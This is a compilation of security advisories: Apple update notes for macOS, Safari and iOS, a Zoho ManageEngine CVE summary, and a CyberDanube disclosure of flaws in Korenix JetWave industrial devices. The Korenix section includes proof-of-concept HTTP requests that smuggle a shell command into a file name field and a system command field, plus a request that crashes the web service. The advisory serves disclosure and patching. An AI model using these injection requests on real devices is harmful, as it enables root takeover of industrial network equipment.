Description: A memory corruption issue was addressed with improved state management. 

CVE-2022-32944: Tim Michaud (@TimGMichaud) of Moveworks.ai

Entry added October 27, 2022

**Kernel**

Available for: macOS Monterey

Impact: An app may be able to execute arbitrary code with kernel privileges 

Description: A race condition was addressed with improved locking. 

CVE-2022-42803: Xinru Chi of Pangu Lab, John Aakerblom (@jaakerblom)

Entry added October 27, 2022

**Kernel**

Available for: macOS Monterey

Impact: An app may be able to execute arbitrary code with kernel privileges 

Description: A logic issue was addressed with improved checks. 

CVE-2022-42801: Ian Beer of Google Project Zero

Entry added October 27, 2022

**PackageKit**

Available for: macOS Monterey

Impact: An app may be able to modify protected parts of the file system

Description: A race condition was addressed with additional validation.

CVE-2022-46713: Mickey Jin (@patch1t) of Trend Micro

Entry added February 20, 2023

**ppp**

Available for: macOS Monterey

Impact: A buffer overflow may result in arbitrary code execution

Description: The issue was addressed with improved bounds checks. 

CVE-2022-32941: an anonymous researcher

Entry added October 27, 2022

**Ruby**

Available for: macOS Monterey

Impact: A remote user may be able to cause unexpected app termination or arbitrary code execution

Description: A memory corruption issue was addressed by updating Ruby to version 2.6.10.

CVE-2022-28739

**Sandbox**

Available for: macOS Monterey

Impact: An app with root privileges may be able to access private information

Description: This issue was addressed with improved data protection.

CVE-2022-32862: an anonymous researcher

**WebKit**

Available for: macOS Monterey

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A type confusion issue was addressed with improved memory handling.

WebKit Bugzilla: 244622  
CVE-2022-42823: Dohyun Lee (@l33d0hyun) of SSD Labs

Entry added December 22, 2022

**zlib**

Available for: macOS Monterey

Impact: A user may be able to cause unexpected app termination or arbitrary code execution 

Description: This issue was addressed with improved checks.

CVE-2022-37434: Evgeny Legerov

CVE-2022-42800: Evgeny Legerov

Entry added October 27, 2022

CVE-2022-46723: About the security content of macOS Monterey 12.6.1

The issue was addressed with improved UI handling. This issue is fixed in Safari 15.6, iOS 15.6 and iPadOS 15.6. Visiting a maliciously crafted website may leak sensitive data.

Released July 20, 2022

**Safari Extensions**

Available for: macOS Big Sur and macOS Catalina

Impact: Visiting a maliciously crafted website may leak sensitive data

Description: The issue was addressed with improved UI handling.

CVE-2022-32784: Young Min Kim of CompSec Lab at Seoul National University

**WebKit**

Available for: macOS Big Sur and macOS Catalina

Impact: A user may be tracked through their IP address

Description: A logic issue was addressed with improved state management.

CVE-2022-32861: Matthias Keller (m-keller.com)

Entry added September 16, 2022

**WebKit**

Available for: macOS Big Sur and macOS Catalina

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A memory corruption issue was addressed with improved state management.

CVE-2022-32863: P1umer, afang5472, xmzyshypnc

Entry added September 16, 2022

**WebKit**

Available for: macOS Big Sur and macOS Catalina

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: An out-of-bounds write issue was addressed with improved input validation.

WebKit Bugzilla: 240720  
CVE-2022-32792: Manfred Paul (@\_manfp) working with Trend Micro Zero Day Initiative

**WebRTC**

Available for: macOS Big Sur and macOS Catalina

Impact: Processing maliciously crafted web content may lead to arbitrary code execution.

Description: A memory corruption issue was addressed with improved state management.

WebKit Bugzilla: 242339  
CVE-2022-2294: Jan Vojtesek of Avast Threat Intelligence team

CVE-2022-32784: About the security content of Safari 15.6

A logic issue was addressed with improved restrictions. This issue is fixed in iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. A malicious application may be able to leak sensitive user information.

Released March 14, 2022

**Accelerate Framework**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution

Description: A memory corruption issue was addressed with improved state management.

CVE-2022-22633: ryuzaki

Entry updated May 25, 2022

**AppleAVD**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22666: Marc Schoenefeld, Dr. rer. nat.

**AVEVideoEncoder**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A buffer overflow was addressed with improved bounds checking.

CVE-2022-22634: an anonymous researcher

**AVEVideoEncoder**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to gain elevated privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22635: an anonymous researcher

**AVEVideoEncoder**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22636: an anonymous researcher

**Cellular**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access may be able to view and modify the carrier account information and settings from the lock screen

Description: The GSMA authentication panel could be presented on the lock screen. The issue was resolved by requiring device unlock to interact with the GSMA authentication panel.

CVE-2022-22652: Kağan Eğlence (linkedin.com/in/kaganeglence), Oğuz Kırat (@oguzkirat)

Entry updated May 25, 2022

**CoreMedia**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to learn information about the current camera view before being granted camera access

Description: An issue with app access to camera metadata was addressed with improved logic.

CVE-2022-22598: Will Blaschko of Team Quasko

**CoreTypes**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may bypass Gatekeeper checks

Description: This issue was addressed with improved checks to prevent unauthorized actions.

CVE-2022-22663: Arsenii Kostromin (0x3c3e)

Entry added May 25, 2022

**FaceTime**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to bypass the Emergency SOS passcode prompt

Description: This issue was addressed with improved checks.

CVE-2022-22642: Yicong Ding (@AntonioDing)

**FaceTime**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may send audio and video in a FaceTime call without knowing that they have done so

Description: This issue was addressed with improved checks.

CVE-2022-22643: Sonali Luthar of the University of Virginia, Michael Liao of the University of Illinois at Urbana-Champaign, Rohan Pahwa of Rutgers University, and Bao Nguyen of the University of Florida

**GPU Drivers**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22667: Justin Sherman of the University of Maryland, Baltimore County

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2022-22611: Xingyu Jin of Google

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory consumption issue was addressed with improved memory handling.

CVE-2022-22612: Xingyu Jin of Google

**IOGPUFamily**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to gain elevated privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22641: Mohamed Ghannam (@\_simo36)

**iTunes**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious website may be able to access information about the user and their devices

Description: A logic issue was addressed with improved restrictions.

CVE-2022-22653: Aymeric Chaib of CERT Banque de France

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22596: an anonymous researcher

CVE-2022-22640: sqrtpwn

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22613: Alex, an anonymous researcher

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22614: an anonymous researcher

CVE-2022-22615: an anonymous researcher

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to elevate privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22632: Keegan Saunders

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An attacker in a privileged position may be able to perform a denial of service attack

Description: A null pointer dereference was addressed with improved validation.

CVE-2022-22638: derrek (@derrekr6)

**libarchive**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Multiple issues in libarchive

Description: Multiple memory corruption issues existed in libarchive. These issues were addressed with improved input validation.

CVE-2021-36976

**LLVM**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to delete files for which it does not have permission

Description: A race condition was addressed with additional validation.

CVE-2022-21658: Florian Weimer (@fweimer)

Entry added May 25, 2022

**Markup**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions

Description: This issue was addressed with improved checks.

CVE-2022-22622: Ingyu Lim (@\_kanarena)

**MediaRemote**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to identify what other applications a user has installed

Description: An access issue was addressed with improved access restrictions.

CVE-2022-22670: Brandon Azad

**MobileAccessoryUpdater**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2022-22672: Siddharth Aeri (@b1n4r1b01)

Entry added May 25, 2022

**NetworkExtension**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An attacker in a privileged network position may be able to leak sensitive user information

Description: A logic issue was addressed with improved state management.

CVE-2022-22659: George Chen Kaidi of PayPal

Entry updated May 25, 2022

**Phone**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to bypass the Emergency SOS passcode prompt

Description: This issue was addressed with improved checks.

CVE-2022-22618: Yicong Ding (@AntonioDing)

**Preferences**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to read other applications' settings

Description: The issue was addressed with additional permissions checks.

CVE-2022-22609: Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020) of Tencent Security Xuanwu Lab (xlab.tencent.com)

**Sandbox**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to bypass certain Privacy preferences

Description: The issue was addressed with improved permissions logic.

CVE-2022-22600: Sudhakar Muthumani (@sudhakarmuthu04) of Primefort Private Limited, Khiem Tran

Entry updated May 25, 2022

**Siri**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen

Description: A permissions issue was addressed with improved validation.

CVE-2022-22599: Andrew Goldberg of the University of Texas at Austin, McCombs School of Business (linkedin.com/andrew-goldberg-/)

Entry updated May 25, 2022

**SoftwareUpdate**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to gain elevated privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22639: Mickey (@patch1t)

**UIKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions

Description: This issue was addressed with improved checks.

CVE-2022-22621: Joey Hewitt

**VoiceOver**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to access photos from the lock screen

Description: An authentication issue was addressed with improved state management.

CVE-2022-22671: videosdebarraquito

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may disclose sensitive user information

Description: A cookie management issue was addressed with improved state management.

WebKit Bugzilla: 232748  
CVE-2022-22662: Prakash (@1lastBr3ath) of Threat Nix

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to code execution

Description: A memory corruption issue was addressed with improved state management.

WebKit Bugzilla: 232812  
CVE-2022-22610: Quan Yin of Bigo Technology Live Client Team

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A use after free issue was addressed with improved memory management.

WebKit Bugzilla: 233172  
CVE-2022-22624: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

WebKit Bugzilla: 234147  
CVE-2022-22628: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A buffer overflow issue was addressed with improved memory handling.

WebKit Bugzilla: 234966  
CVE-2022-22629: Jeonghoon Shin at Theori working with Trend Micro Zero Day Initiative

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious website may cause unexpected cross-origin behavior

Description: A logic issue was addressed with improved state management.

WebKit Bugzilla: 235294  
CVE-2022-22637: Tom McKee of Google

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to leak sensitive user information

Description: A logic issue was addressed with improved restrictions.

CVE-2022-22668: MrPhil17

Entry added May 25, 2022

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to leak sensitive user information

Description: A logic issue was addressed with improved restrictions.

CVE-2022-22668: MrPhil17

CVE-2022-22668: About the security content of iOS 15.4 and iPadOS 15.4

Zoho ManageEngine Desktop Central and Desktop Central MSP before 10.1.2137.2 allow directory traversal via computerName to AgentLogUploadServlet. A remote, authenticated attacker could upload arbitrary code that would be executed when Desktop Central is restarted. (The attacker could authenticate by exploiting CVE-2021-44515.)

CVE-2022-48362: ZohOwned :: A Critical Authentication Bypass on Zoho ManageEngine Desktop Central

Korenix JetWave 4200 Series 1.3.0 and JetWave 3200 Series 1.6.0 are vulnerable to Denial of Service via /goform/formDefault.

**Title**: Multiple Vulnerabilities  
**Product**: JetWave4221 HP-E, JetWave 2212G, JetWave 2212X/2212S, JetWave 2211C, JetWave 2411/2111, JetWave 2411L/2111L, JetWave 2414/2114, JetWave 2424, JetWave 2460, JetWave 3220/3420 V3  
**Vulnerable version**: See “Vulnerable Versions”  
**Fixed version**: See “Solution”  
**CVE**: CVE-2023-23294, CVE-2023-23295, CVE-2023-23296  
**Impact**: High  
**Homepage**: https://korenix.com  
**Found**: 2022-11-28

_Multiple JetWave products from Korenix are prone to command injection and denial of service (DoS) vulnerabilities._

**Vendor description**

“Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.  
\[…\]  
Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners.”

Source:  
https://www.korenix.com/en/about/index.aspx?kind=3

**Vulnerable versions**

The following firmware versions have been found to be vulnerable by CyberDanube:

*   Korenix JetWave4221 HP-E <= V1.3.0
*   Korenix JetWave 3220/3420 V3 < V1.7

The following firmware versions have been identified to be vulnerable by the vendor:

*   Korenix JetWave 2212G V1.3.T
*   Korenix JetWave 2212X/2112S V1.3.0
*   Korenix JetWave 2211C < V1.6
*   Korenix JetWave 2411/2111 < V1.5
*   Korenix JetWave 2411L/2111L < V1.6
*   Korenix JetWave 2414/2114 < V1.4
*   Korenix JetWave 2424 < V1.3
*   Korenix JetWave 2460 < V1.6

**Vulnerability overview**

1) Authenticated Command Injection (CVE-2023-23294, CVE-2023-23295)  
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker.

2) Authenticated Denial of Web-Service (CVE-2023-23296)  
When logged in, a user can issue a POST request such that the underlying binary exits. The Web-Service becomes unavailable and cannot be accessed until the device gets rebooted.

**Proof of Concept****1) Authenticated Command Injection**

1.a) – CVE-2023-23294  
The command “touch /tmp/poc” was injected to the system by using the following  
POST request:

POST /goform/formTFTPLoadSave HTTP/1.1  
Host: 172.16.0.38  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 127  
Origin: http://172.16.0.38  
Connection: close  
Referer: http://172.16.0.38/mgmtsaveconf.asp  
Cookie: -common-web-session-=::webs.session::d7af70f81033cff3828902e476ceda45  
Upgrade-Insecure-Requests: 1

submit-url=%2Fmgmtsaveconf.asp&ip\_address=192.168.1.1&file\_name=%24%28touch+%2Ftmp%2Fpoc%29&tftp\_action=load&tftp\_config=Submit

The command gets executed as root and a file under the folder /tmp/ is created.

1.b) – CVE-2023-23295  
The command “touch /tmp/poc2” was injected to the system by using the following POST request:

POST /goform/formSysCmd HTTP/1.1  
Host: 172.16.0.38  
Content-Type: application/x-www-form-urlencoded  
Connection: close  
Referer: 172.16.0.38  
Cookie: -common-web-session-=::webs.session::df1307d508d798638a8b4572987462bb  
Content-Length: 40

sysCmd=touch%20/tmp/poc2&submit-url=

The command gets executed as root and a file under the folder /tmp/ is created. Command output is written into /tmp/syscmd.

**2) Authenticated Denial of Web-Service (CVE-2023-23296)**

The process goahead chrashes when the following POST request is sent to the endpoint /goform/formDefault:

POST /goform/formDefault HTTP/1.1  
Host: 172.16.0.38  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:107.0) Gecko/20100101 Firefox/107.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 62  
Origin: http://172.16.0.38  
Connection: close  
Referer: http://172.16.0.38/toolping.asp  
Cookie: -common-web-session-=::webs.session::3c624961199904f380e978a3967cc356  
Upgrade-Insecure-Requests: 1

PingIPAddress=127.0.0.1&submit-url=%2Ftoolping.asp&Submit=Ping

The output was observed on the terminal using our emulated instance:

rm: invalid option — /  
BusyBox v1.01 (2022.10.21-00:22+0000) multi-call binary  
Usage: rm \[OPTION\]… FILE…

Remove (unlink) the FILE(s). You may use ‘–‘ to  
indicate that all following arguments are non-options.

Options:  
\-i always prompt before removing each destination  
\-f remove existing destinations, never prompt  
\-r or -R remove the contents of directories recursively

killall: wlwatchdog: no process killed  
killall: wlapwatchdog: no process killed

The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

**Solution**

Owner of these products are suggested to update to the following versions:

*   Korenix JetWave 4221 HP-E V1.4.0
*   Korenix JetWave 2212G V1.10
*   Korenix JetWave 2212X/2112S V1.11
*   Korenix JetWave 2211C V1.6
*   Korenix JetWave 2411/2111 V1.5
*   Korenix JetWave 2411L/2111L V1.6
*   Korenix JetWave 2414/2114 V1.4
*   Korenix JetWave 2424 V1.3
*   Korenix JetWave 2460 V1.6
*   Korenix JetWave 3220/3420 V3 V1.7

**Workaround****Recommendation**

CyberDanube recommends customers from Korenix to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended.

**Contact Timeline**

*   2022-12-05: Contacting Beijer Electronics Group via
*   2022-12-12: Meeting with Beijer Electronics. Vulnerabilities were confirmed by the vendor. The vendor planned to fix the vulnerabilities in the next 1.5 months.
*   2023-01-04: Contact shared the updated firmware version. CyberDanube checked if the vulnerabilities got fixed. The contact communicated that  
    not only JetWave4221 is vulnerable to these issues. Therefore, CyberDanube postponed the release of the Advisory until the other  
    products have been patched.
*   2023-01-30: Meeting with Beijer Electronics. Customer get informed about the issues. Fixes got published. Disclosure date got shifted to 2023-02-13 to provide a time-window for patching.
*   2023-02-13: Coordinated release of security advisory.

**Author**

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool > MEDUSA < has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on digital twins, information security risk assessment and firmware analysis. Currently, he is working on developing the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the “Austrian Cyber Security Challenge”, where he has won in his category with an impressive number of points.

Tag

#zero_day